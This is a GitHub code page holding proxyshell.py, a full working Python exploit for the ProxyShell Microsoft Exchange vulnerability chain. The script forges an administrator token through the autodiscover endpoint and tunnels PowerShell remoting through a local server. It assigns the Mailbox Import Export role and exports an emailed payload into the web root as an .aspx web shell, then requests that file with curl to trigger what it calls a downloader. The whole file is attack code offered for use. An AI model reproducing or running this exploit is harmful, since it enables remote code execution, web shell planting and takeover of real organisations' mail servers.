-
Notifications
You must be signed in to change notification settings - Fork 2
/
proxyshell.py
274 lines (212 loc) · 8.92 KB
/
proxyshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
#!/usr/bin/env python3
import argparse
import base64
import struct
import string
import random
import string
import requests
import re
import threading
import xml.etree.cElementTree as ET
import os
import time
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class PwnServer(BaseHTTPRequestHandler):
def __init__(self, proxyshell, *args, **kwargs):
self.proxyshell = proxyshell
super().__init__(*args, **kwargs)
def do_POST(self):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
length = int(self.headers['content-length'])
content_type = self.headers['content-type']
post_data = self.rfile.read(length).decode()
post_data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', post_data)
post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data)
headers = {
'Content-Type': content_type
}
r = self.proxyshell.post(
powershell_url,
post_data,
headers
)
resp = r.content
self.send_response(200)
self.end_headers()
self.wfile.write(resp)
class ProxyShell:
def __init__(self, exchange_url, email, verify=False):
self.email = email
self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
self.sid = None
self.legacydn = None
self.session = requests.Session()
self.session.verify = verify
self.session.headers = {
'Cookie': f'Email=autodiscover/autodiscover.json?a={self.rand_email}'
}
def post(self, endpoint, data, headers={}):
url = f'{self.exchange_url}/autodiscover/autodiscover.json?a={self.rand_email}{endpoint}'
r = self.session.post(
url=url,
data=data,
headers=headers
)
return r
def get_token(self):
self.token = self.gen_token()
def get_sid(self):
data = self.legacydn
data += '\x00\x00\x00\x00\x00\xe4\x04'
data += '\x00\x00\x09\x04\x00\x00\x09'
data += '\x04\x00\x00\x00\x00\x00\x00'
headers = {
"X-Requesttype": 'Connect',
"X-Clientinfo": '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',
"X-Clientapplication": 'Outlook/15.0.4815.1002',
"X-Requestid": '{C715155F-2BE8-44E0-BD34-2960067874C8}:2',
'Content-Type': 'application/mapi-http'
}
r = self.post(
'/mapi/emsmdb',
data,
headers
)
self.sid = r.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
def get_legacydn(self):
data = self.autodiscover_body()
headers = {'Content-Type': 'text/xml'}
r = self.post(
'/autodiscover/autodiscover.xml',
data,
headers
)
autodiscover_xml = ET.fromstring(r.content)
self.legacydn = autodiscover_xml.find(
'{*}Response/{*}User/{*}LegacyDN'
).text
def autodiscover_body(self):
autodiscover = ET.Element(
'Autodiscover',
xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'
)
request = ET.SubElement(autodiscover, 'Request')
ET.SubElement(request, 'EMailAddress').text = self.email
ET.SubElement(request, 'AcceptableResponseSchema').text = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a'
return ET.tostring(
autodiscover,
encoding='unicode',
method='xml',
xml_declaration=False
)
def gen_token(self):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(self.email)).to_bytes(1, 'little') + self.email.encode()
user_data = b'U' + (len(self.sid)).to_bytes(1, 'little') + self.sid.encode()
group_data = b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + struct.pack('>I', 0)
raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data
data = base64.b64encode(raw_token).decode()
return data
def rand_string(n=5):
return ''.join(random.choices(string.ascii_lowercase, k=n))
def exploit(proxyshell):
proxyshell.get_legacydn()
print(f'LegacyDN: {proxyshell.legacydn}')
proxyshell.get_sid()
print(f'SID: {proxyshell.sid}')
proxyshell.get_token()
print(f'Token: {proxyshell.token}')
def start_server(proxyshell, port):
handler = partial(PwnServer, proxyshell)
server = ThreadedHTTPServer(('', port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
def shell(command, port):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
if command.lower() in ['exit', 'quit']:
exit()
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_script(command)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def get_args():
parser = argparse.ArgumentParser(description='ProxyShell example')
parser.add_argument('-u', help='Exchange URL', required=True)
parser.add_argument('-e', help='Email address', required=True)
parser.add_argument('-p', help='Local wsman port', default=8000, type=int)
parser.add_argument('-s', help='SMTP server to use', required=True)
parser.add_argument('-m', help='Message body', required=True)
parser.add_argument('-t', help='TLS (yes/no)', required=True)
parser.add_argument('-a', help='File Attachment', required=True)
parser.add_argument('-f', help='From Email', required=True)
parser.add_argument('-n', help='Subject Line', required=True)
parser.add_argument('-x', help='Initial Payload Name (example.aspx)', required=True)
return parser.parse_args()
def main():
args = get_args()
exchange_url = args.u
email = args.e
local_port = args.p
proxyshell = ProxyShell(
exchange_url,
email
)
# @goobstersec & @RiiRoman
# Send email with payload inside
os.system("sendEmail -m '%s' -t %s -f %s -s %s -u '%s' -o tls=%s -a '%s'" % (args.m, args.e, args.f, args.s, args.n, args.t, args.a))
exploit(proxyshell)
start_server(proxyshell, local_port)
newRoleAssignment = ('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User \'%s\'' % (args.e))
shell(newRoleAssignment, local_port)
print("Assigning proper permissions to user")
print("Sleeping for 3 seconds")
time.sleep(3)
shell('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false', local_port)
print("Clearing MailBox Export Requests")
print("Sleeping for 5 seconds")
time.sleep(5)
# Export email to aspx on server
NewMailExport = ("New-MailboxExportRequest -Mailbox '%s' -ContentFilter \"(Subject -like '%s')\" -FilePath '\\\\127.0.0.1\\C$\\inetpub\\wwwroot\\aspnet_client\\%s'" % (args.e, args.n, args.x))
shell(NewMailExport, local_port)
print("Writing payload to disk")
print("Sleeping for 30 seconds")
time.sleep(30)
print("Executing downloader")
os.system("curl https://%s/aspnet_client/%s -k" % (args.u, args.x))
print("Downloader executed.\nFile will be located in: https://%s/aspnet_client/" % (args.u))
if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
main()